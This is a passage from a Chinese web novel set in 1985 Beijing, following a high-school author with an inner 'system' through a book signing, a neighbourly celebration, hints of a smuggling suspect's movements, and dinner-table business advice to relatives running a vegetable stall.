“就是,高考前时间多紧啊,能来就不错了。” “刚才那几个小伙子,别起哄了!人家小姑娘也不容易!” “那我们等下次吧。” 人群里的声音渐渐软了下来,大部分人都在点头。 刚才带头闹事的中年男人,脸瞬间红了,讪讪地缩了缩脖子,没再嚷嚷。 但也有人不甘心。 一个戴眼镜的男青年站在人群中间,双手插兜,声音不大不小,带着点阴阳怪气:“签个名能耽误多少时间?不就是火了吗?架子也太大了吧,还没成大作家就开始摆谱了?” 这话一出,周围瞬间安静了,气氛又僵了起来。 林薇薇站在人群边上,听见这话,火气蹭的一下窜到头顶,立刻提高了嗓门,装作路人读者怼了回去:“你这人怎么说话呢?人家小姑娘从两点签到现在,手都写抖了,你体谅体谅不行?你家高考前还有心思出来签售,在这儿跟人耗一下午?真是站着说话不腰疼!” “就是!”孙晓梅立刻接上,嗓门比林薇薇还大,双手叉腰,一脸义愤填膺“有本事你自己考个年级第一,再出本书,再去破个文物走私大案!你要是能做到,你签一天一夜都没人管你!自己没本事,在这儿挑别人的刺,欺负一个小姑娘,算什么男人!” 马东也跟着起哄,站在后面喊了一嗓子:“时墨同学,你快回去复习吧,别跟这些人一般见识!考大学要紧!” 秦野站在人群前面,冷冷地扫了那个男青年一眼,往前站了半步,身形挺拔,语气沉稳却带着压迫感:“这位同志,大家都是来看书、支持作者的,没必要说这种风凉话。你再在这里煽动情绪,就别怪我们请书店的安保人员过来了。” 那男青年被几人轮番怼,又看见周围的读者都对着他指指点点,瞬间没了底气,脸上挂不住了,嘴唇动了动,钻进人群里不见了。 林慧君趁热打铁,笑容更加温和,给了所有人一个台阶下:“大家放心!我们绝对不会让大家白跑一趟!今天没签到名的读者,都可以在书店前台登记信息。我们后续会加印一批时墨同学的限量签名本,专门留给今天到场的读者,大家登记了就能凭购书小票来领,一分额外的费用都不收!” “另外,等时墨同学高考结束,我们一定会再办一场大型书友会,到时候让她跟大家好好聊聊天,分享写书的故事,大家说好不好?” “好!”台下瞬间响起了热烈的回应声。 刚才还躁动的读者们,这会儿都消了气,纷纷点头表示理解,三三两两地往服务台那边走,去登记信息了。 马东和几个同学也帮着书店工作人员维持秩序,引导大家去登记,刚才还剑拔弩张的场面,三两下就消弭于无形。 之前那几个还想闹事的年轻人,看见旁边维持治安的民警已经朝他们走过来了,立刻闭了嘴,老老实实跟着人群去登记了。 一场风波,消弭于无形。 签售会正式结束。 林慧君拉着时墨的手,一个劲儿地道歉:“墨墨,今天真是辛苦你了,没想到来了这么多人,还出了这么个小插曲,让你受委屈了。那几个闹事的,我们回头会跟书店沟通,加强安保。” “林姨,您说这话就见外了。”时墨笑着摇了摇头,活动了一下发酸的手腕,反过来安慰她,“这么多人支持我的书,我高兴还来不及呢。还要谢谢您刚才帮我解围。” “跟我客气什么。”林慧君笑着拍了拍她的手,眼里满是心疼,“快回去休息吧,别耽误了晚上的学习。后续的事都交给我,你不用管了,一门心思备考就行。” 两人又说了一会儿话,林薇薇第一个冲了上来,一把抱住时墨的胳膊,满脸兴奋,眼睛亮得跟灯泡似的:“时墨你也太厉害了!我刚才在下面看着,那些人排着队找你签名,我的天,我激动得手心都出汗了!心脏都快跳出来了!” “你可没看到,刚才林薇薇跟人吵架那架势,跟护崽的老母鸡似的,昂着头就冲上去了。”马东笑着打趣,还学了一下林薇薇昂头的样子。 “去你的!”林薇薇抬脚轻轻踹了他一下,瞪了他一眼,“你才老母鸡!我那是看不惯那人阴阳怪气的!” “行了行了,你们两个别闹了。”孙晓梅笑着把两人拉开,搂着时墨的胳膊往外走。 几个人笑成一团,说说笑笑地从书店后门走了出来。 后门是一条窄巷子,路灯还没亮,天色已经开始暗下来了。巷子里安安静静的,只有远处主街上传来隐约的车铃声和叫卖声。 林薇薇松开时墨的胳膊,伸了个懒腰,对着时墨道:“墨墨,我们几个住的都不远,坐公交回去就行,几站路的事。你跟秦野走吧,他家有车方便送你,别跟我们挤公交了。” “不用,我跟你们一起坐公交就行。”时墨连忙摆手,“今天已经麻烦秦野半天了,不能再麻烦他了。” “不行。” 秦野的声音从身后传来,语气不容拒绝。 他走上前来,看了时墨一眼,又看了看巷口的方向,眉头微微拧着:“现在前门大街全是你的读者,散场的人还没走完。你往公交站一走,肯定被认出来围住,到时候想走都走不了,再闹出什么事来,反而耽误时间。” 他想了下,又补了一句,压低声音,凑近时墨道:“而且刚才那个穿黄裙子的女人,我看她眼神不对劲,在书店排队时就一直在盯着你打量,你俩聊天时我也感觉她和别的读者不一样,你还是别自己走了,太不安全了。我家车就在后门巷子里,从这儿直接送你回家,隐蔽也不麻烦。” 【宿主,坐秦野的车吧。】系统忽然开口,语气难得正经,【你现在在书店门口露了脸,还有不少没走的读者和记者,你一露面肯定被围住。另外,我扫了一下周围,有几个形迹可疑的人还在附近转悠,不确定是不是孙思瑶的人,安全第一。】 时墨心里一凛,没再推辞对着秦野笑了笑:“那麻烦你了。” “不麻烦。”秦野的语气轻快了不少,嘴角微微翘起来,转身就领着时墨往巷子口走。 他人走在时墨侧前方,以便有人发现时墨身影激动扑过来,能即使挡住。 几个人在巷口分别,林薇薇他们往公交站走,时墨跟着秦野上了车。 黑色轿车缓缓驶出巷子,汇入了王府井大街的车流里。 这会儿车里只有时墨、秦野和司机三人。 车厢里安安静静的,司机专心开着车。 车窗外的街景飞速往后退,路灯一盏接一盏地亮起来,暖黄的光落在时墨脸上,明明灭灭的。 秦野坐在副驾驶,忽然回头看了时墨一眼。 “对了时墨,你高考想好报哪个系了吗?”他语气随意地问道,“之前也一直没机会问你。” “首都大学古建筑系。”时墨没有半分犹豫,语气笃定道。 秦野愣了一下,随即了然地笑了。 “我还以为你会报对外经贸的国贸系,或者中文系。”他说,目光里带着几分欣赏,“毕竟你书写得这么好,对外贸的事也懂,上次听你说那些政策头头是道的。不过想想也是,梅先生故居的项目你做得这么好,报古建筑才是理所应当,也最适合你。” “中文系我也考虑过。”时墨笑了笑,靠在座椅上,回视秦野的眼睛道,“但古建筑这个方向,孙教授带了我这么久,不接着走下去,对不起他老人家的栽培。而且,我觉得这个专业以后有前途。国家越来越重视文物保护,这方面的人才缺口很大,现在进去,将来就是第一批骨干。” 她说着,反问秦野:“你呢?想好报哪个系了吗?” “我打算报对外经贸大学的国际贸易系。”秦野的眼神亮了起来,语气里带着少年人独有的意气风发,“现在改革开放了,外贸是国家风口。我想大学毕业以后,从家里出来做外贸生意,赚汇差。而且,我觉得这是一条长远的路,走得好了,不比搞实业的差。” 时墨眼里闪过一丝欣赏,真心实意道:“挺好的目标,你眼光很长远。外贸这个方向,做好了确实大有可为。你要好好想想做哪个方面的,选准了赛道,事半功倍。” 她想了下之后赚钱的热门行业,又说道:“说不定以后,我们还有合作的机会。古建筑修复需要不少进口材料,到时候还得找你帮忙。” 秦野的心跳瞬间快了半拍,目光灼灼地盯着她,嘴角的笑意压都压不住:“真的?那我可就等着跟时墨大专家合作了!到时候你可不能不认账!” “放心,一言为定。”时墨笑着点头。 两人就着高考、未来的规划聊了一路,少年人之间的惺惺相惜,在车厢里悄悄蔓延。 车子很快就到了家属院门口。 时墨推开车门下了车,弯腰冲秦野挥了挥手:“今天谢谢你了,回去路上慢点。” “嗯,你早点休息,别熬夜学习。”秦野趴在车窗上,看着她的背影,直到她走进家属院大门,才让司机开车离开。 时墨刚走到家门口,就听见屋里热热闹闹的,说笑声隔着门板都传了出来,还有锅铲翻炒的声音和炖肉的香味,混在一起,从门缝里往外冒。 她掏出钥匙打开门。 一股炖肉和酱肘子的香味瞬间扑面而来,浓得化不开。 客厅里,表哥赵海霖和嫂子王桂英正坐在沙发上,跟他爸妈聊天。茶几上摆满了瓜子花生和水果,她哥时建军在厨房忙活着,围着围裙,手里拿着锅铲,探头冲她喊了一声“妹回来啦”,又缩回去继续炒菜了。 “海霖哥?大嫂?”时墨有些意外,换了鞋走进去,“你们怎么来了?市场不忙吗?” “也不能天天忙,该歇还得歇。”赵海霖笑道,拍了拍身边的沙发示意她坐下,“再说了,我妹妹的喜事,再忙也得来。” “海霖哥你这话说得对,劳逸结合。”时墨笑着点头,在旁边坐下来。 李秀兰立刻迎了上来,接过她手里的书包,笑着道:“快洗手吃饭!你海霖哥和你嫂子今天特意过来,说给你庆祝庆祝!一是案子彻底了结了,二是你新书大卖,双喜临门,咱们一家人好好吃顿饭,扫扫之前的晦气!” 王桂英立刻从沙发上站起来,笑着端过来一杯提前晾好的温水,塞进时墨手里:“墨墨快喝口水润润嗓子,忙了一下午,肯定累坏了。嫂子给你酱了肘子,是你最爱吃的那个口味,八角桂皮都放足了,炖得脱骨了,等会儿多吃点补补。” “墨墨,你可真给咱家争光!”赵海霖也笑着凑过来,一脸骄傲,“我今天在菜市场卖菜,好几个买菜的顾客都在聊你的《古宅迷踪》,说作者是个十九岁的小姑娘,破了文物走私大案!我当时就跟他们说,那是我亲妹妹!可给他们羡慕坏了,一开始还不信呢,非要我拿出证据来!我说看长相也能认出是一家人。” 王桂英笑着锤了下丈夫胳膊:“你可真能给自己脸上贴金。” 时墨被他说得有点不好意思,心里却暖暖的,嘴上却说:“你们来怎么不提前跟我说一声啊,我好提前在饭点定个包间,咱们出去吃。在家忙活多累啊,你们卖了一天菜还得做饭。” “花那冤枉钱干什么!”王桂英立刻摆了摆手,嗓门比赵海霖还大,“在家吃多热闹,都是你爱吃的菜,干净又实惠!你马上高考了,外头饭馆又贵又吵,不如家里做的合口。” “就是。”赵海霖也跟着附和,“你嫂子做的红烧排骨,可不比饭馆差。你有这钱还不如自己留着买书,上大学用得着,花在吃饭上多不值当。” “就是,你快去洗手。”李秀兰跟着附和,催促道,“你哥给你煮了绿豆汤,等会儿吃完饭喝,解解暑。” 一家人说说笑笑,正要开始端菜,门忽然被人敲响了。 李秀兰擦了擦手去开门。 门一拉开,隔壁的张大妈端着一盘切好的西瓜,笑呵呵地探进头来,脸上堆满了笑:“秀兰啊,我听说你家墨墨今天新书签售会,可热闹了?报纸上都登了!我特地来恭喜恭喜!” 她人还没进来,声音先传了进来,又脆又亮:“时墨这孩子太有出息了!新书都上了报纸!咱们整个家属院都跟着沾光!我闺女回来说,她们单位好几个人都买了你的书,排了好长的队才签到名呢!” “哎哟张婶,您太客气了,快进来坐!”李秀兰赶紧把人往里让。 张大妈一进门,看见时墨,眼睛一亮,把西瓜往茶几上一放,拉着时墨的手就不撒开了,上下打量了好几遍,啧啧称赞:“瘦了瘦了,但是气色好了!比上回见你的时候精神多了!这孩子,越长越俊!” “张婶您过奖了。”时墨笑着应道,给张大妈倒了杯水。 话音刚落,门又被敲响了。 这次是对门的王大叔和他媳妇刘婶,端着一盘花生米和一瓶二锅头,也笑呵呵地站在门口:“听说墨墨今天新书签售会,我们两口子来蹭蹭喜气,也没啥拿得出手的,你们可别嫌弃。” “哎呀,刘姐你说的这是啥话,你们能来祝贺,我们就很高兴了。”李秀兰赶紧把人往里让。 紧接着,楼下的马阿姨,隔壁单元的孙奶奶,甚至连门卫老李头都来了,一个接一个,跟赶集似的。 不大的客厅很快就挤满了人,搪瓷茶缸摆满了茶几,说笑声差点掀翻了房顶。 张大妈闻到了厨房飘出来的饭菜香,知道人家要开饭了,也不好意思多待,但又不舍得走,拉着时墨的手,一脸期待地开了口:“墨墨啊,我不打扰你们吃饭,就有个事想和你商量一下。” “您说。”时墨笑着道。 “你下本书再写,能不能给大妈也安排个角色?”张大妈眼睛亮晶晶地看着时墨,语气里带着几分不好意思,又带着几分期待,“写啥都行,就是个名字都成!就写‘张翠花’三个字,让我也过过瘾!回头我也能跟老姐妹们吹吹牛,说我上过书了!” 时墨还没反应过来,旁边的刘婶立刻挤了过来,连忙道:“哎哟张姐,你可真能想!墨墨,也给我安排一个呗,就写我名字‘刘丹凤’,你随便发挥,卖菜的、扫地的都行!我不挑!” “还有我!”一旁的李大爷把手里的茶杯往桌上一放,中气十足道,“时丫头,你可不能偏心啊!我是退休的机床厂老工人,你就写个老工人,帮着工地看材料,护着老构件,跟坏人斗智斗勇,这不正好贴合你的书嘛!就用我名字,李保国!多好听!” “李大爷,这本书都完结了。”时墨哭笑不得道。 “那下本!下本你随便安排,把我身份按上就成!”李大爷一挥手,豪气万丈。 一群邻居七嘴八舌地说着,越聊越嗨,从角色安排聊到书里的剧情,又聊到时墨的高考,你一言我一语,越说越起劲,完全把正主时墨晾在了一边。 张大妈说要当居委会主任,刘婶说要当裁缝铺的师傅,李大爷说要当工地上的老师傅,发现坏人,拦着不让坏人进去。 时墨坐在沙发上,手里捧着水杯,看着热热闹闹的一屋子人,无奈地按了按太阳穴。 这就是以前家属院的邻里情。热热闹闹,真心实意,一点不掺假。你家有事,全楼都来帮忙;谁家有喜事,全楼都来祝贺。虽然有时候吵得头疼,但那种人情味儿,是后来住进高楼大厦后再也找不到的。 正热闹着,她脑袋里忽然响起“嘀”的一声轻响。 那是系统给她设置的专属提示音,只有紧急消息才会用这个声音。 时墨脸上的笑没变,端着水杯的手却微微顿了一下。 【怎么了?】她语气平静地问道。 系统的声音压得很低,带着前所未有的凝重: 【宿主,专案组那边的内部消息,孙思瑶今天下午离开签售会后,没有回住处,而是去了东郊的一个货运站。那个货运站,跟张敬山案里的一条线索对上了,之前张敬山供出来的一个下线,就是在那个货运站接的头。】 时墨手中的茶水晃了晃,她很快稳住,喝了一口茶水。 【她现在人呢?】 【跟丢了。】系统的声音更沉了,【货运站那边岔路多,她进去之后绕了两圈人突然就消失了,专案组的人现在还在搜。】 时墨垂下眼,手指轻轻摩挲着茶杯的边沿。 满屋子的人还在说说笑笑,没人注意到她眼底一闪而过的沉色。 【对了,宿主。】系统又开口提醒道,【孙教授家门外,有两个红色目标在徘徊,已经在附近待了快半个小时了。身份不明,暂时无法确认是不是孙思瑶的人。】 时墨的眉头几不可见地皱了一下。 【他们在干什么?】 【就在附近转悠,没有靠近,也没有离开,像是在盯梢。】 时墨沉默了几秒,脑子里快速转着。 孙思瑶刚在签售会上露了面,就去货运站,然后跟丢了人,这边孙教授家门口又出现了可疑人员。 这三件事放在一起,怎么看都不像是巧合。 【要不要报警?】系统问,【或者告诉李队?】 时墨想了想,放下茶杯,站起来走到窗边,拉开窗帘往外看了一眼。窗外夜色沉沉,路灯昏黄,家属院门口有几个乘凉的大爷在聊天,一切看起来都很正常。 【先不急。】她在心里说,【没有确凿证据,报警也没用。李队那边在查货运站的事,现在告诉他孙教授家门口有人,他也分身乏术。】 【那怎么办?万一他们对孙教授不利呢?】 时墨靠在窗边,手指无意识地在窗台上敲了两下。 【这样,你帮我盯着那两个人的动向。如果他们靠近孙教授家,或者有任何攻击性行为,立刻报警。如果他们只是在外围转悠,就先按兵不动。孙教授那边,我一会儿他打电话,让他注意安全。】 【明白。】系统应了一声。 时墨转过身,脸上又挂上了笑,走回沙发边坐下。 张大妈还在那儿说她的“张翠花”要怎么怎么出场,刘婶在旁边给她出主意,李大爷跟老李头争论谁的角色更重要,吵得脸红脖子粗。 时墨笑着听他们吵,时不时点个头应一声,心里却在想着孙思瑶的事。 【宿主,有件事我不知道该不该说。】系统的声音忽然变得犹豫起来。 【说。】 【我做了个风险分析。】系统的语速快了起来,【目前的事态发展,有几个可能的走向。第一,孙思瑶只是路过签售会,心血来潮要了个签名——但这个概率极低,不到百分之五。第二,她是来试探你的,确认你是否对她构成威胁——这个概率大概百分之六十。第三,她另有目的,签售会只是障眼法,真正的目标在别处——这个概率百分之三十五。】 时墨的手指微微一顿。 【还有第四种可能吗?】 系统沉默了两秒。 【有。第四种可能——她的目标,就是孙教授。签售会上接近你,只是顺带的。】系统的声音压得更低了,【毕竟,孙教授手里掌握着文物局的核心资源,而且是她父亲。如果你想查什么,孙教授是最直接的渠道。】 时墨的瞳孔微微缩了一下。 她没有说话,只是端起水杯,又喝了一口。 水已经凉了,喝进嘴里有点涩。 【我建议你今晚观察变化,明天一早再联系孙教授,提醒他注意安全。至于其他的,】系统顿了顿,【请以自身安危为主,不要贸然掺和进去。】 【好,我再多等一晚。】 第78章 邻居们又聊了快半个小时, 话题早从“下本书给谁安排角色”一路歪到了“今年夏天的西瓜比去年贵了两分钱”。 张大妈和刘婶还为哪儿的西瓜更甜争得面红耳赤,嗓门亮得满屋子都能听见。 “我可跟你说,永定门那边的西瓜才叫甜!沙瓤的, 咬一口流蜜, 我昨儿刚买了一个, 才五分钱一斤!”张大妈拍着大腿, 一脸笃定道。 刘婶立马不服气地撇撇嘴:“可拉倒吧你!菜市口早市的西瓜才地道,脆瓤的,汁水足,我家那口子经常去买,比你那永定门的甜多了!” “你那是没吃着好的!” “你那是不识货!” 两人你一言我一语, 越争越起劲, 旁边的李大爷赶紧端着茶杯打圆场,伸手把俩人隔开:“哎哟哎哟, 都甜都甜!这年头能吃上沙瓤西瓜就不错了, 可别争了!” 几人这才消停,转头又聊起今年的青菜价, 说菠菜比上个月贵了一分, 豆角刚上市还不便宜。 最后还是张大妈张大妈眼尖, 瞥了眼墙上挂着的老式挂钟, 时针都指到七点半了, 立马一拍大腿站起身:“哎哟喂!瞧我这记性,光顾着唠嗑,都耽误墨墨一家吃饭了!这都多晚了, 孩子累了一下午,还没吃上热乎饭呢!” 她这一嗓子,其他人也跟着回过味儿来, 纷纷起身,嘴里不停念叨着抱歉。 “对对对,走了走了,不耽误你们吃饭了。” “墨墨你赶紧吃饭,签了一下午书,手都酸了,吃完饭快歇歇!” “时墨好好复习啊,咱们全院都等着你的好消息呢!” “还有下本书大爷的角色,可别忘了啊!”李大爷临走还不忘叮嘱一句,满脸期待。 “忘不了李大爷,下次一定给您安排!”时墨笑着把众人送到门口,张大妈还顺手塞给她半块用网兜装着的西瓜,说是自家留的,让她解解暑。 一群人呼啦啦地往外走,李秀兰站在门口,挨个道谢,等人都三三两两回了家,才关上大门,长长舒了口气,脸上带着笑,半点没有真嫌麻烦的意思。 “可算聊完了,这帮老邻居,一说起话就没个完,又不好直接撵,只能陪着。”李秀兰笑着接过时墨手里的西瓜,往厨房走去,“不过也都是真心为你高兴,咱们院出了你这么个小才女,大伙脸上都有光。” “可不是嘛,刚才李大爷说,他家孙子天天抱着你的书看,还说要跟你学写文章呢。”时建军附和着,麻利地收拾茶几上的瓜子皮、花生壳,手脚轻快地把垃圾归拢到一起,又拿抹布把茶几擦得干干净净。“还好张婶提了一嘴,不然咱家这顿饭还不知道吃到几点。” “快都来端菜。”李秀兰在厨房催促着。 时墨笑着帮着搭手,李秀兰和王桂英则一头扎进厨房,把锅里温着的菜一盘盘端出来。 红烧排骨炖得色泽红亮,裹着浓稠的汤汁,酱肘子切得整整齐齐,冒着油花,还有清炒豆角、西红柿炒鸡蛋、爽口的凉拌黄瓜,最后端上来一大碗飘着蛋花的紫菜汤,满满当当摆了一桌子,热气腾腾的香味瞬间裹满整个屋子,勾得人肚子咕咕直叫。 “来来来,动筷子!还好都在锅里,还热乎着!”李秀兰招呼着一家人落座,给时墨夹了一块最大的排骨,嘴里不停念叨,“你可得多吃点,这段时间又是写书又是学习,瘦得下巴都尖了,好好补补。” “还好,高三本来时间就紧,大家都一样。”时墨低头咬了一口排骨,外焦里嫩,咸香适口,王桂英的手艺确实地道。 王桂英也在一旁给赵海霖夹菜,指着酱肘子对时墨笑着说道:“墨墨你快尝尝嫂子做的肘子,这肘子我凌晨四点就起来酱了,你吃一口看合不合口味。” 时墨顺势夹起一片肘子,嚼了两口后冲王桂英竖起大拇指。 王桂英眉眼瞬间舒展开来,笑得更开心了。 一家人围坐在餐桌旁,碗筷碰撞的声音清脆,时爱国和赵海霖喝着散装白酒,时不时碰个杯,聊起厂里的琐事、市场的见闻。 时墨跟着家人说笑,嘴里应和着,筷子也没停,可心思却悄悄飘远了,指尖无意识地摩挲着瓷碗边沿。脑子里反复琢磨着孙思瑶、东郊货运站,还有孙教授家门口那两个徘徊的可疑人。 这些问题搅在一起,像一团乱麻,暂时理不出头绪。 饭吃到一半,赵海霖端着酒杯抿了一口,放下酒杯时偷偷看了时墨一眼,嘴唇动了好几下,欲言又止。 王桂英眼疾手快,在桌子底下轻轻踢了他一脚,眼神一横,对着他使了个眼色,嘴唇动了动,意思是“别在这时候说扫兴话”。 这小动作刚好被时墨看在眼里。 时墨假装没察觉,低头喝了一口汤,缓了几秒才抬起头,笑着看向赵海霖,语气温和道:“海霖哥,我看你有话想说,咱都是一家人,有啥难处别藏着,说出来大伙一起想办法。” 时爱国也跟着附和,端起酒杯碰了碰赵海霖的:“海霖啊,咱都是实在亲戚,又不是外人,你有啥难处尽管说,一家人拧成一股绳,没有过不去的坎。” 赵海霖看了王桂英一眼,王桂英冲他微微摇了摇头,可他终究是没忍住,叹了口气,把筷子搁在 碗沿上,脸上满是愁绪地开了口。 “也不是啥大事,就是……开春以后,我和你嫂子卖菜那摊子,出了点状况。” 时墨放下筷子,认真听着。 赵海霖一脸忧愁道:“我们一开始确实难,凑凑合合勉强够糊口,后来慢慢摸着了门道,收的菜新鲜,都是挑最新鲜的,价钱还比市场里其他摊主便宜两三分,街坊邻居都愿意来买,一个带两个,两个带四个,慢慢就有了回头客,生意也越来越好。” 赵海霖眉头皱得紧紧的,语气里满是委屈:“可这生意一好,麻烦就找上门了。周围三四个菜摊的摊主,说我们把价钱压得太低,抢了他们的生意,坏了规矩,天天在市场里指桑骂槐,好几次围着我们摊前吵,有一次还差点动起手来。” 王桂英接过话头,眼圈都红了,语气愤愤不平道:“还有人阴得很,偷偷跑到工商所举报我们,说我们无照经营、乱涨价坑人!还好当初听了墨墨的话,第一时间把个体工商户营业执照、卫生许可证全办齐了,工商所的人来查了好几次,啥毛病都没挑出来,我们才没被撵走。” “那后来呢?”时墨问。 “后来还不算完!”赵海霖狠狠拍了下桌子,“不知道哪个缺德的,在市场里到处瞎咧咧,说我们卖菜看人下菜碟,对熟人一个价,对生人一个价,专坑老实人!好多不明真相的顾客,听了闲话都不敢来买了,老顾客想帮我们辩解,还被那些人骂走了,现在生意比之前差了一大半,我们天天守着摊,心里堵得慌。” 王桂英一想到这儿,脸气得涨红:“舅妈,你说咱们都是本分人家,哪能干这种缺德事!” 李秀兰听得直叹气,给王桂英夹了一筷子菜:“苦了你们俩了,起早贪黑赚点辛苦钱,还被人这么针对,实在不行,就回厂里上班吧,虽然钱少点,但是安稳。” 时墨皱起了眉。 这种手段她太熟悉了。生意做不过你,就从别的方面搞你。造谣、举报、泼脏水,怎么恶心怎么来。 “现在你俩咋办的?”时爱国关心道。 “还能咋办,硬扛着呗。”赵海霖叹了口气,“还好周围有些老邻居知道我们的为人,不怕闲言碎语还来买。” 王桂英看着时墨不好意思道:“我们今天过来,本来就想好好庆祝庆祝,不想说这些闹心事。墨墨好不容易有个高兴事,我们不想说扫兴的话。” “一家人说啥扫兴不扫兴的。”时墨认真地看着他们,“海霖哥,嫂子,你们能跟我说这些,是信任我。” 赵海霖无奈道:“墨墨你说我们真要回厂还干临时工吗?你有什么主意没?” 时墨摇了摇头:“回厂不是长久之计,现在改革开放,个体户是大势所趋,你们夫妻俩能吃苦,有回头客这时候还站你们一头,说明生意还是做到位了,就是路子没走对。” 赵海霖和王桂英一听时墨这话有门,眼里都亮了。 时墨回忆着后世那些超市和生鲜店的经营模式。 八五年还没有后来的蔬菜大超市、生鲜连锁店,老百姓买菜要么去国营菜市场,要么去街边的菜摊,同质化严重,竞争全靠拼价格,难免有人耍手段。但也正因为很多东西没出现,才是机会。 时墨捋清思路后,主动引导道:“海霖哥,嫂子,你们现在在菜市场卖菜,面对的是啥人?” “啥人?就普通老百姓啊。”赵海霖不明白她为啥这么问。 “对,普通老百姓,老百姓图的是便宜、实惠,那些摊主挤在一个菜市场里拼价格,你们比他们还便宜那就是抢人家生意。”时墨说,“但你们想过没有,除了普通老百姓,还有另一种人?” “另一种人?什么人啊?”赵海霖一头雾水地看着时墨,“墨墨,你说的话哥咋听不懂呢?” 时墨笑了笑,说:“简单说,就是别跟他们抢普通老百姓的生意,要么换地方,要么做他们做不了的买卖。除了老百姓还有有钱人,他们可不在乎贵几分钱,在乎的是品质、服务和环境。” 赵海霖愣了一下,王桂英也愣住了。 “我给你们说两条路,你们自己琢磨下。”时墨耐心解释着,“一条是继续做老百姓的平价生意,还是保持你们的品质,价格实惠,但是换个地方。菜市场人多嘴杂,是非多,你们现在遇到的那些麻烦,根源就在于你们挡了别人的财路。换个清净点的地方,比如去居民区门口摆摊,或者跟小区里的副食店合作,让他们代卖,不用你们守着市场受气。” 赵海霖若有所思地点了点头。 时墨继续道:“另一条路,做高端菜。你们想想,现在改革开放了,有钱的人越来越多,比如使馆区的老外、国营大厂的干部、有钱的个体户,他们想吃点新鲜的、菜市场没有的蔬菜瓜果,这类东西价格通常高,普通菜贩根本不会进。你们可以去找渠道挑这种精品菜,哪怕进价高一点,但是卖得贵,利润也大。” “而且这种高端菜不用去菜市场,找个地段好点的铺面,把店铺收拾干净敞亮,东西摆得整整齐齐,专门卖好菜、净菜、半成品菜,价钱都明码标出来。现在城里的双职工家庭越来越多,两口子都上班,下了班还得现摘菜现洗现切,累不累?要是有人把菜洗好切好,拿回去直接下锅,贵个二三毛钱,他们肯定愿意买!这就是别人没做过的新赛道,你们先做,就占先机。” 王桂英的眼睛一下子亮了。 “墨墨,你这个主意……”她张了张嘴,半天没说出话来。 “别急,我还没说完。”时墨笑了笑,“还有一种,更稳的,等你们路子都熟稳了,给机关单位、大厂子的食堂配送。这些单位人多,需求稳定,一次采购就是几百斤几千斤,虽然利润薄,但量大,而且是长期合作,旱涝保收。” 一桌子人都听愣了。 时爱国端着酒杯停在半空;李秀兰放下筷子,眼睛瞪得溜圆;时建军嘴巴微张,筷子夹着的花生米掉在了桌上都没发现。 王桂英更是激动得脸都红了,一把抓住时墨的手:“墨墨!你这脑子咋长的?这么好的路子,我们咋就从来没想过!那些双职工,下班确实没时间忙活,净菜肯定好卖!还有老外,我在友谊商店见过,就稀罕那些新鲜菜,他们可不差钱!” 赵海霖也瞬间来了精神,之前的愁云一扫而空,拍着大腿道:“对啊!我们咋就死磕菜市场呢!换个地方,换个卖法,就不用受那些窝囊气了!墨墨,你这主意太好了!” “我就是觉得,现在的市场整体还是太单一了。”她说,“大家都挤在菜市场里,卖一样的东西,面对一样的人,那可不就是拼价格、拼谁更便宜?但市场可以不一样,东西可以不一样,卖东西的方式也可以不一样。你要是走新赛道,跟别人不在一条路上跑,谁还能堵你的路?” “新赛道……”赵海霖念叨着这个词,眼睛越来越亮。 “墨墨,你说得我都动心了。”王桂英眼里带着光,但又有点犹豫,“可是……这得投不少钱吧?租铺子、进货、装修,我们手里那点积蓄……” “不用租大的,就租个十来平米的小门面。”时墨道,“先从小的来,试运营。精品菜的话,你们可以跟郊区的菜农签正式合同,让他们专门种这种菜,保证品质和供应。平价菜就继续做,薄利多销,靠走量赚钱。” 王桂英攥着时墨的手:“墨墨,你可真是我们的救星!” 赵海霖更是豪爽,一拍胸脯:“墨墨!这生意要是做起来,赚的钱肯定分你一半!” 时墨笑着摇了摇头:“海霖哥,说这话就见外了。不过我得先把丑话说在前头,这生意不是一做就赚的,一开始可能会赔点本钱,你们得做好心理准备,万一前三个月甚至半年都往里搭钱,你们要想好能不能扛得住这个风险。而且,精品菜的进货渠道、铺子的选址,都得你们自己费心,我只是给个思路。” 赵海霖和王桂英对视了一眼。 “墨墨,你放心。”赵海霖的声音沉稳下来,“我们做买卖这几个月,早就懂了,世上没有光赚钱的好事。不像在厂子里,每个月到日子就发工资,旱涝保收。自己做买卖,盈亏自负,今天赚了高兴,明天赔了也得认。但赚得多的时候,确实比吃死工资强得多。” “你们有这个心理准备就行。”时墨点了点头,“我建议你们先从第一条路走,先找个铺面把摊子稳下来,别在菜市场跟人挤了。等站稳了脚跟,手头宽裕了,再慢慢扩大,一开始不要想着做大买卖。” “好好好。”赵海霖连连点头,“墨墨,等我们赚了钱,一定要分你一份!这个主意太值钱了!” “海霖哥我刚说了不要你钱。”时墨拒绝道。 “一码归一码!”王桂英的态度很坚决,“你出了主意,我们听了,就得给,不能让你白帮忙。” “是啊墨墨,你甭推了。”赵海霖也坚持,“你不出这个主意,我们根本想不到这些。等我们赚了钱,少不了你的。” 时墨看他们态度坚决,没再推辞,但认真地又嘱咐一遍:“那你们记住了,先从小做起,别贪大,有多少钱办多大事,千万别借钱瞎折腾。” “记住了!”赵海霖用力点头道。 饭桌上的气氛瞬间热烈起来,赵海霖夫妻俩一扫之前的愁容,不停跟时墨打听铺面选址、进货渠道的细节,一家人说说笑笑,满是温馨。 饭后,赵海霖和王桂英千恩万谢地告辞,李秀兰给他们装了一袋子馒头和酱菜,叮嘱他们路上慢点,有事随时过来。 送走了人,时建军关上门,一边收拾碗筷一边感慨:“海霖哥和嫂子这买卖做得也不容易,起早贪黑的,从乡下拉菜到城里,不管刮风还是下雨,骑着三轮车跑几十里地,晒得跟黑炭似的,可比在厂子上班累多了。” “可不是嘛。”时爱国端着茶杯坐在沙发上,看着电视里的新闻,慢悠悠道:“各人有各人的命,他们敢闯,就有机会,咱们家就求个稳,厂里上班旱涝保收,不用担惊受怕,挺好。做生意这事儿,还是太玄乎,万一赔了,连老本都搭进去了。” “爸,求稳是好,但人有奔头,日子才更有劲。”时墨端着水杯在旁边坐下,“你看海霖哥和嫂子,比过年那会儿瘦了不少,但精气神不一样了。过年那会儿他俩眼睛里都没光,现在说起生意来,眼睛是亮的。” 李秀兰从厨房出来,擦着手点头:“我觉得墨墨说得对。海霖两口子是有奔头了,各人有各人的路。人家赚钱也是辛苦,咱可吃不了那个苦,稳稳当当,不用操心,挺好的。” 时建军想到自己,感慨道:“确实,人有奔头和没奔头过得是两种日子。” 时墨笑了,每个人的处境不同,选择自然也不同,赵海霖敢拼,是他的勇气,时家求稳,也是他们的日子过得踏实。 一家人又聊了会儿家常,眼看时间不早,便各自回房休息。 